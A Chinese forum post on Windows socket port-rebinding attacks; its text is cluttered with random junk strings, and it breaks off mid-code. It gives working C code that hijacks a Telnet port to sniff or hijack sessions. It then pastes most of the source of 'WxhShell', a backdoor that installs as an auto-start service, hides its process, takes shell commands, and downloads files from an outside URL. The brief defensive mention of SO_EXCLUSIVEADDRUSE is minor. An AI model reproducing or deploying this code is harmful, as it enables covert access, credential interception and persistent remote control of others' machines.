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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q1P=A:*]9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7w.9PNhy  
hlGrnL  
  saddr.sin_family = AF_INET; #,;Q|)AD:e  
SA{5A 1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ddw^oU  
!BN@cc[%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (f   
j`%a2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !fG}<6&i  
.QB)Y* z  
  这意味着什么?意味着可以进行如下的攻击: 8UXtIuQ  
"B0I$`~wu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \I7,1I  
FvDi4[F#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Amv:dh  
=gHUY&sPu8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `It3X.^}  
WU~L#Ih.V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  uYXkD#{  
yE|hA2G?0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5RR4jX]  
~c@@m\C"b  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r tH #j  
g])iU9)8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7,FhKTV1/  
uEr['>  
  #include [BFPIVD)h]  
  #include Uwg*kJ3H  
  #include &[kFl\  
  #include    %wN*Hu~E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5-POY ug  
  int main() C'a#.LM  
  { lbMok/a2o  
  WORD wVersionRequested; iIc/%< ;  
  DWORD ret; %nyZ=&u  
  WSADATA wsaData; u|75r%p>  
  BOOL val; t"X^|!hKIF  
  SOCKADDR_IN saddr; [!U! Z'i  
  SOCKADDR_IN scaddr; N_?15R7h  
  int err; >`I%^+ z  
  SOCKET s; HH|N~pBJB  
  SOCKET sc; 5?8jj  
  int caddsize; o`{^ptu1q  
  HANDLE mt; apWv+A  
  DWORD tid;   v>sjS3  
  wVersionRequested = MAKEWORD( 2, 2 ); O#Ho08*Xn  
  err = WSAStartup( wVersionRequested, &wsaData ); 8B3C[?  
  if ( err != 0 ) { O8/r-?4.  
  printf("error!WSAStartup failed!\n"); YA~`R~9d  
  return -1; 6Tsi^((Li  
  } \%QA)T%  
  saddr.sin_family = AF_INET; }B&+KO)  
   D(#6H~QN%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 VUzRA"DP|  
K,dEa<p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G x{G}9  
  saddr.sin_port = htons(23); nT=XWM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~xf uq{L;  
  { KU;J2Kt  
  printf("error!socket failed!\n"); [H {2<!  
  return -1; \Yr&vX/[p  
  } _eUd RL>  
  val = TRUE; YB3 76/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LKYcE;n  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L@`:mK+;  
  { eJE!\ucS2W  
  printf("error!setsockopt failed!\n"); l4\!J/df  
  return -1; k<y~n*{_  
  } p:3 V-$4X  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4VHX4A}CgA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b?k6-r$j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iVA=D&eZ  
+<fT\Oq#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  J9lG0  
  { VM w[M^  
  ret=GetLastError(); fwv.^k x  
  printf("error!bind failed!\n"); Gp2C wyv  
  return -1; NGmXF_kqN  
  } o':K4r;  
  listen(s,2); s,-}}6WO  
  while(1) /}nq?Vf  
  { ]fJ9.Js  
  caddsize = sizeof(scaddr); -=)+)9~G  
  //接受连接请求 Q; BD|95nl  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C;oO=R3r  
  if(sc!=INVALID_SOCKET) e(vnnv?R{  
  { yZ,S$tSR  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CgKFI  
  if(mt==NULL) .J \i!  
  { ]~4*ak=)5\  
  printf("Thread Creat Failed!\n"); Tfw5i,{  
  break; cQ(,M  
  } .cB>ab&  
  } S%o6cl=  
  CloseHandle(mt); scZ&}Ni  
  } <%S[6*6U  
  closesocket(s); o^Qy71Uj  
  WSACleanup(); '25zb+ -  
  return 0; <=@6UPsn2  
  }   ';I(#J6  
  DWORD WINAPI ClientThread(LPVOID lpParam) CIAKXYM  
  { $>hH{  
  SOCKET ss = (SOCKET)lpParam; ORFi0gFbA  
  SOCKET sc; mX G W+  
  unsigned char buf[4096]; :.SwO<j  
  SOCKADDR_IN saddr; C^*}*hYk$  
  long num; -+kTw06_C  
  DWORD val; @-.Tgpe@a  
  DWORD ret; ;R^=($X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _g6H&no[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k]S`A,~  
  saddr.sin_family = AF_INET; .5iXOS0 G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); yH]w(z5Z  
  saddr.sin_port = htons(23); 8r48+_y3u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pf#~|n#t  
  { 2D4c|R@+  
  printf("error!socket failed!\n"); O ;m[  
  return -1; T 2Gscey  
  } pXK-,7-  
  val = 100; (} Y|^uM,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) spTIhZ  
  { 6&,9=(:J&R  
  ret = GetLastError(); ~>rn q7j  
  return -1; 7A{,)Y/w ^  
  } p)s *Cw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DS0:^TLI  
  { CykvTV Q  
  ret = GetLastError(); T*](oA@  
  return -1; 7mnZ,gpb  
  } ,{BF`5bn|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S(G&{KG  
  { -"}nm!j /5  
  printf("error!socket connect failed!\n"); 2cko GafG{  
  closesocket(sc); x{1S!A^  
  closesocket(ss); |]]Rp  
  return -1; Os1=V  
  } [k60=$y  
  while(1) Xe@:Aun  
  { N`+@_.iBX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $mn+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %APeQy"6#^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Em/? 4&  
  num = recv(ss,buf,4096,0); p`}G" DM  
  if(num>0) 'y|p)r"  
  send(sc,buf,num,0); !XT2'6nu  
  else if(num==0) B X Et]+Q  
  break; )u.%ycfeV  
  num = recv(sc,buf,4096,0); %+L3Xk]m'  
  if(num>0) :@^T^  
  send(ss,buf,num,0); \8/$ZEom  
  else if(num==0) BP8jReX^  
  break; 3Cg0^~?6-  
  } _o{w<b&  
  closesocket(ss); CMU\DO  
  closesocket(sc); j "e]Ui  
  return 0 ; JF(&+\i<p  
  } #=czqZw  
=A<a9@N}N  
DVw 04ay%  
========================================================== =|IY[2^  
4Vv$bbu+  
下边附上一个代码,,WXhSHELL W4]jx ]  
g.COKA  
========================================================== b21@iW  
iV.j!H7o  
#include "stdafx.h" /v7o!D1G  
no7Q%O9  
#include <stdio.h> [wM]w  
#include <string.h> 5XinZ~  
#include <windows.h> o| 9Mj71  
#include <winsock2.h> i=\`f& B  
#include <winsvc.h> oTk?a!Q  
#include <urlmon.h> 7xCm"jgP  
y hNy  
#pragma comment (lib, "Ws2_32.lib") 5wa!pR\c  
#pragma comment (lib, "urlmon.lib") (XQ:f|(  
hd#MV!ti  
#define MAX_USER   100 // 最大客户端连接数 LteZ7e  
#define BUF_SOCK   200 // sock buffer &'W ~~ir  
#define KEY_BUFF   255 // 输入 buffer oZw#]Q@  
>"pHk@AWK  
#define REBOOT     0   // 重启 PPj%.i)  
#define SHUTDOWN   1   // 关机 Y9y'`}+  
<MgC7S2I  
#define DEF_PORT   5000 // 监听端口 h&<>nK   
SH;:bLk_  
#define REG_LEN     16   // 注册表键长度 V~S(cO[vj  
#define SVC_LEN     80   // NT服务名长度 D9higsN  
ejlau#8"  
// 从dll定义API ~~{+?v6B]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z{A~d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  t`'5|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mZ#h p}\.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !.[H !-V.  
_PGS"O?j  
// wxhshell配置信息 !">EZX  
struct WSCFG { j&Y{ CFuZ  
  int ws_port;         // 监听端口 )q>q]eHz  
  char ws_passstr[REG_LEN]; // 口令 .t$1B5  
  int ws_autoins;       // 安装标记, 1=yes 0=no "T' QbK0  
  char ws_regname[REG_LEN]; // 注册表键名 [ Ru ( H  
  char ws_svcname[REG_LEN]; // 服务名 0;2ApYks  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ex4)R2c*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c>L#(D\\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uX~YDy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l#rr--];  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Fqg*H1I[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (?#"S67  
N.q0D5 :  
}; T!QAcO  
{i/7Nx  
// default Wxhshell configuration tJ Mm  
struct WSCFG wscfg={DEF_PORT, /e]R0NI  
    "xuhuanlingzhe", :p.f zL6X  
    1, .pPtBqp  
    "Wxhshell", c!J|vRA5  
    "Wxhshell", -Rj3cx  
            "WxhShell Service", F tay8m@f  
    "Wrsky Windows CmdShell Service", k5eTfaxl  
    "Please Input Your Password: ", -5<G^AS  
  1, ?T_bjALW  
  "http://www.wrsky.com/wxhshell.exe", +"JQ5~7  
  "Wxhshell.exe" 8W}rS v+  
    }; MsjC4(Xla.  
l`?4O  
// 消息定义模块 A\QrawBp0l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M`QK{$1p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?xb2jZ/0X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tW"s^r=95  
char *msg_ws_ext="\n\rExit."; lfyij[6q+  
char *msg_ws_end="\n\rQuit."; x(y=.4Yf+  
char *msg_ws_boot="\n\rReboot..."; TZw['o  
char *msg_ws_poff="\n\rShutdown..."; 7!^Zsp^+  
char *msg_ws_down="\n\rSave to "; KBwY _  
#s|,o Im  
char *msg_ws_err="\n\rErr!"; z_A34@a  
char *msg_ws_ok="\n\rOK!"; `k~w 14~w  
?/^{sW' |  
char ExeFile[MAX_PATH]; z i3gE$7  
int nUser = 0; Jp +h''t  
HANDLE handles[MAX_USER]; Ql? >,FZ  
int OsIsNt; 9 N9Q#o$!.  
F{FSmUxzK  
SERVICE_STATUS       serviceStatus; JwcC9 O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jP"yG#  
Zl{ DqC^  
// 函数声明 apv"s+  
int Install(void); Sbjc8V ut  
int Uninstall(void); PAs.T4Av^  
int DownloadFile(char *sURL, SOCKET wsh); R6qC0@*  
int Boot(int flag); 2GJp`2(%dA  
void HideProc(void); AqjEz+TVt  
int GetOsVer(void); s Vg89I&  
int Wxhshell(SOCKET wsl); ANXN.V  
void TalkWithClient(void *cs); 2>Sr04Pt  
int CmdShell(SOCKET sock); n-:n.JX  
int StartFromService(void); d?>pcT)G_  
int StartWxhshell(LPSTR lpCmdLine); !sav~dB)  
qaEWK0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )/uCdSDIc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2[5z6oG  
a'B 5m]%  
// 数据结构和表定义 ./Wi(p{F  
SERVICE_TABLE_ENTRY DispatchTable[] = ?oQAxb&  
{ [OQ+&\  
{wscfg.ws_svcname, NTServiceMain}, mM-7 j z  
{NULL, NULL} R1C2d+L  
}; Zksow}%  
I8LoXY  
// 自我安装 A:,R.P>`C  
int Install(void) *sq+ Vc(  
{ 77~l~EX  
  char svExeFile[MAX_PATH]; K]yUPx  
  HKEY key; `d!~)D  
  strcpy(svExeFile,ExeFile); +*KDtqZjk  
x*0mmlCb  
// 如果是win9x系统,修改注册表设为自启动 BnIZ+fg=  
if(!OsIsNt) { +V/mV7FK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lv\^@9r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]M/*Beh  
  RegCloseKey(key); J3AS"+]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l&6+ykQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tk'3Q1L  
  RegCloseKey(key); G?v]|wdI  
  return 0; 0A.9<&Lod  
    } o3>D~9  
  } CUa`#  
} T``~YoIdz  
else { -mqTlXM  
3R ZD=`  
// 如果是NT以上系统,安装为系统服务 7A4 6?kfu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J)_IfbY  
if (schSCManager!=0) yMBFw:/o  
{ WkK.ON^  
  SC_HANDLE schService = CreateService ZIvP?:=!  
  ( {b90c'8?a  
  schSCManager, IC@-`S#F  
  wscfg.ws_svcname, Z*lZl8(`  
  wscfg.ws_svcdisp, 2[yfo8H  
  SERVICE_ALL_ACCESS, mKhlYV n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h!~u^Z.7<  
  SERVICE_AUTO_START, & *!) d"  
  SERVICE_ERROR_NORMAL, {ZD'l5jU  
  svExeFile, iM{UB=C  
  NULL, KfMaVU=4P  
  NULL, j!hdi-aTU  
  NULL, k{B;J\`E;  
  NULL,  hPgDK.R'  
  NULL a$h zG-  
  ); jGKasI`  
  if (schService!=0) $ Y_v X 2  
  { j[\aGS7u  
  CloseServiceHandle(schService); s14;\  
  CloseServiceHandle(schSCManager); XyE%<]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &g\?znF]H  
  strcat(svExeFile,wscfg.ws_svcname); e?eX9yA7F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j#JE4(&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p_l.a  
  RegCloseKey(key); bAm ,gP  
  return 0; ICXz(?a  
    } 3 (R]QO`%'  
  } "xY]&  
  CloseServiceHandle(schSCManager); Ikj_ 0/%F  
} g'{hp:  
} Z<n%~z^  
p_Y U!j_VE  
return 1; u4;#~##  
} {_1zIt|  
(S#nA:E  
// 自我卸载 7T-}oNaJA\  
int Uninstall(void) Wf!<Qot|R#  
{ ;mLbgiqQ J  
  HKEY key; +5IC-=ZB  
`]\:%+-  
if(!OsIsNt) { I85bzzZB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jq"iLgEMO  
  RegDeleteValue(key,wscfg.ws_regname);  |_ `wC  
  RegCloseKey(key); _ ^cFdP)8|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aO>Nev  
  RegDeleteValue(key,wscfg.ws_regname); >KMTxHE`+  
  RegCloseKey(key); 0I \l_St@  
  return 0; TNK~ETE4  
  } S#l6=zI7^R  
} 0xe*\CAo  
} kmfxk/F}  
else { u &s>UkR  
GK-__Y.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SYmiDR  
if (schSCManager!=0) k>dzeH  
{ )A H)*Mg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2%zJI"Ic  
  if (schService!=0) 2v9T&xo=  
  { rytaC(  
  if(DeleteService(schService)!=0) { Af{K#R8!  
  CloseServiceHandle(schService); !$|h[ct  
  CloseServiceHandle(schSCManager); ;L.RfP"5<  
  return 0; !w-`:d?  
  } YR} P;  
  CloseServiceHandle(schService); @&LtIN#  
  } -Rz%<`  
  CloseServiceHandle(schSCManager); biw2 f~V  
} g_F-PT>($  
} +axpIjI'  
VUE6M\&z>  
return 1; "=ogO/_Q"  
} li~#6$  
vynchZ+g]  
// 从指定url下载文件 qz2j55j   
int DownloadFile(char *sURL, SOCKET wsh) FR9*WI   
{ U6Ws#e  
  HRESULT hr; #_}r)q  
char seps[]= "/"; L:3  
char *token; E3<~C(APW  
char *file; 2or!v^^u  
char myURL[MAX_PATH]; lf%Ju$H   
char myFILE[MAX_PATH]; /6Vn WrN_  
p swEIa  
strcpy(myURL,sURL); n.\|NR'v  
  token=strtok(myURL,seps); ?g\SF}2  
  while(token!=NULL) 7o5~J)qIC  
  { a]mPc^h  
    file=token; ;'g.%  
  token=strtok(NULL,seps); (D 5.NB%@  
  } _pS!sY~d  
7y2-8e L  
GetCurrentDirectory(MAX_PATH,myFILE); (<:mCPk(~  
strcat(myFILE, "\\"); qwx{U  
strcat(myFILE, file); .qjdi`v  
  send(wsh,myFILE,strlen(myFILE),0); Udbz;^(  
send(wsh,"...",3,0); +rA:/!b)Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a="\?L5  
  if(hr==S_OK) q VcZF7  
return 0; L=9w 3VXS  
else Ivue"_i;!  
return 1; 'HdOW[3o  
_YM]U`*  
} ;YK{[$F  
>'GQB  
// 系统电源模块 7w]NG`7  
int Boot(int flag) -w#Hy>E  
{ ?c!W*`yP  
  HANDLE hToken; ttaYtV]]  
  TOKEN_PRIVILEGES tkp; NEG&zf  
CF?TW  
  if(OsIsNt) { ,*Z:a 4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g9F4nExo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V\(p6:1(6K  
    tkp.PrivilegeCount = 1; XdR^,;pWE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [C TR8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OY>0qj  
if(flag==REBOOT) { 'K0=FPB/@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4M4oI .  
  return 0; hz8Z)xjJ V  
} V.k2t$@  
else { XK 09x1r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z8"(Yy7m  
  return 0; D>~S-]  
} 4H\+vJPM  
  } 9uL="z$\  
  else { yF#:*Vz>  
if(flag==REBOOT) { O] nZr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WKwU:im  
  return 0; m {)F9F  
} \HsrUZ~  
else { [,1\>z|&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0,x<@.pW  
  return 0; EN!Q]O|  
} :',Q6j(s  
} 7P2?SW^  
z2GT9  
return 1; MCcWRbE5#  
} ?TXe.h|u  
V9"?}cR/W;  
// win9x进程隐藏模块 tLzX L *  
void HideProc(void) TnvX&Y'  
{ MSMgaw?  
[sT}hYh+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ETA 1\  
  if ( hKernel != NULL ) ?H.7 WtTC  
  { cI Byv I-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ehv*E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'n)]"G|  
    FreeLibrary(hKernel); %O<  qw  
  } [H!8m7i;  
zU7/P|Dw+  
return; b2Jgg&?G  
} ?\l@k(w4[x  
@6roW\'$  
// 获取操作系统版本 HP /@ _qk  
int GetOsVer(void) [7:(e/&  
{ '#fwNbD  
  OSVERSIONINFO winfo; @zHTKi`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?+WSYg0  
  GetVersionEx(&winfo); BP7&w d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y,`SLgBID  
  return 1; +$YluGEJ  
  else #(5hV7i  
  return 0; u\JYxNj1  
} MJ )aY2  
u{-J?t&`  
// 客户端句柄模块 YlY3C  
int Wxhshell(SOCKET wsl) kh'R/Dt  
{ . >{.!a  
  SOCKET wsh; 7Qc 4Oz:t  
  struct sockaddr_in client; !M[a/7x,p  
  DWORD myID; *UJ&9rQ  
-PI_ *  
  while(nUser<MAX_USER) TZ]D6.mD  
{ }4; \sY  
  int nSize=sizeof(client); j/FFxlFNL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o$=D`B  
  if(wsh==INVALID_SOCKET) return 1; iA^GA8dn  
XA$Z 7_gu3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )$Erfu  
if(handles[nUser]==0) 1P'R-I  
  closesocket(wsh); OC[+t6  
else ~S],)E1w  
  nUser++; k3 65.nc  
  } \*C}[D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $ +`   
Xiyh3/%yy  
  return 0; jE !W&0  
} Q+O3Wgjy  
!H5r+%Oo|  
// 关闭 socket Y-.pslg  
void CloseIt(SOCKET wsh) A7;|~??  
{ FTihxC?.L  
closesocket(wsh); jM E==)Y  
nUser--; ~;f,Ad`Q  
ExitThread(0); 2 f8Cs$Opb  
} "Zh6j)[o  
c&Mci"n j0  
// 客户端请求句柄 Iaq7<$XU  
void TalkWithClient(void *cs) <Q4yN!6  
{ -qPYm?$  
d@:4se-q+  
  SOCKET wsh=(SOCKET)cs; s5s'$|h"  
  char pwd[SVC_LEN]; Z"# /,?|3@  
  char cmd[KEY_BUFF]; 6+MZ39xC  
char chr[1]; kc3dWWPe  
int i,j; Puu O2TZ  
=]OG5b_-Y  
  while (nUser < MAX_USER) { !Ol>![  
9K>$  
if(wscfg.ws_passstr) { bUW`MH7yJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `[.':"~2N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wm5/>Cu,  
  //ZeroMemory(pwd,KEY_BUFF); H!D?;X  
      i=0; vsjl8L  
  while(i<SVC_LEN) { RaS7IL:e  
| 'SqG}h  
  // 设置超时 -N')LY  
  fd_set FdRead; l>i<J1  
  struct timeval TimeOut; QsaaA MGY  
  FD_ZERO(&FdRead); *EZ'S+wR  
  FD_SET(wsh,&FdRead); H$ !78/f  
  TimeOut.tv_sec=8; vKzq7E  
  TimeOut.tv_usec=0; D3^Yc:[_@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f?iQ0wv)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); | %Dh  
uqhNi!;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g|W|>`>  
  pwd=chr[0]; t\hvhcbL  
  if(chr[0]==0xd || chr[0]==0xa) { \X=?+| 9  
  pwd=0; Z2yZz:.'  
  break; "]%.%$  
  } 9tW=9<E  
  i++; Yy4? |wVl  
    } F8\nAX  
?(cbZ#( o  
  // 如果是非法用户,关闭 socket <bPn<QI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @ (UacFO  
} 7*e7P[LQU  
A~CQ@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IAD_Tck  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !H`! KBW  
UIUCj8QJg  
while(1) { rUX1Iu7  
D Hkmn  
  ZeroMemory(cmd,KEY_BUFF); 4uW}.7R'  
H0Q.; !^  
      // 自动支持客户端 telnet标准   R "S,&  
  j=0; ~aK@M4  
  while(j<KEY_BUFF) { Wx;`=9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /7$3RV(  
  cmd[j]=chr[0]; s V70a 3#  
  if(chr[0]==0xa || chr[0]==0xd) { TSQ/{=r  
  cmd[j]=0; `TM[7'  
  break; :nuMakZZ  
  } {iGk~qN  
  j++; niZ/yW{w  
    } @$R[Js%MuO  
9rr"q5[  
  // 下载文件 -[cl]H)V  
  if(strstr(cmd,"http://")) { 2Uf}gG)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l@ +]XyLj  
  if(DownloadFile(cmd,wsh)) \vBpH'hR,'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #tyHjk  
  else #x"dWi (  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2;@#i*\Y  
  } 7-nz'-'  
  else { l65-8  
>&K1+FSmyJ  
    switch(cmd[0]) { FFH9 $>A  
  2k,!P6fgl  
  // 帮助 Mf0XQ3n`H  
  case '?': { y{~l&zrl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~/hyf]*j  
    break; M@e&uz!Rx  
  } V+/Vk1  
  // 安装 ^<0u~u)%T  
  case 'i': { %,u_ `P  
    if(Install()) PTfy#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |fXwH>'sw  
    else WlHw\\ur  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *I0{1cST  
    break; p)d0ZAs  
    } v3w5+F  
  // 卸载  -lM4*+f  
  case 'r': { mOj6 4}_`"  
    if(Uninstall()) *@J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <(Ub(  
    else mmrx*sr=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a}3sG_(Y  
    break; ipB*]B F[  
    } Las4ux[_  
  // 显示 wxhshell 所在路径 B;A^5~b  
  case 'p': { ][8ZeM9&p  
    char svExeFile[MAX_PATH]; Xp <RG p7E  
    strcpy(svExeFile,"\n\r"); wv>uT{g#  
      strcat(svExeFile,ExeFile); X4emhB  
        send(wsh,svExeFile,strlen(svExeFile),0); =4z:Df  
    break; _ukKzY  
    } 5b9v`6Kq  
  // 重启 -(FVTWi0  
  case 'b': { \BC|`)0h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h>,yqiY4p  
    if(Boot(REBOOT)) k,>sBk 8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A~ugx~S0  
    else { .YquOCc(  
    closesocket(wsh); \>NjeMuWU  
    ExitThread(0); j%R}  
    } OM!CP'u#{  
    break; L^:+8g  
    } 8fzmCRFH  
  // 关机 >Z k$q~'+  
  case 'd': { Km2ppGLNn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X%7Y\|  
    if(Boot(SHUTDOWN)) >jjuWO3T  
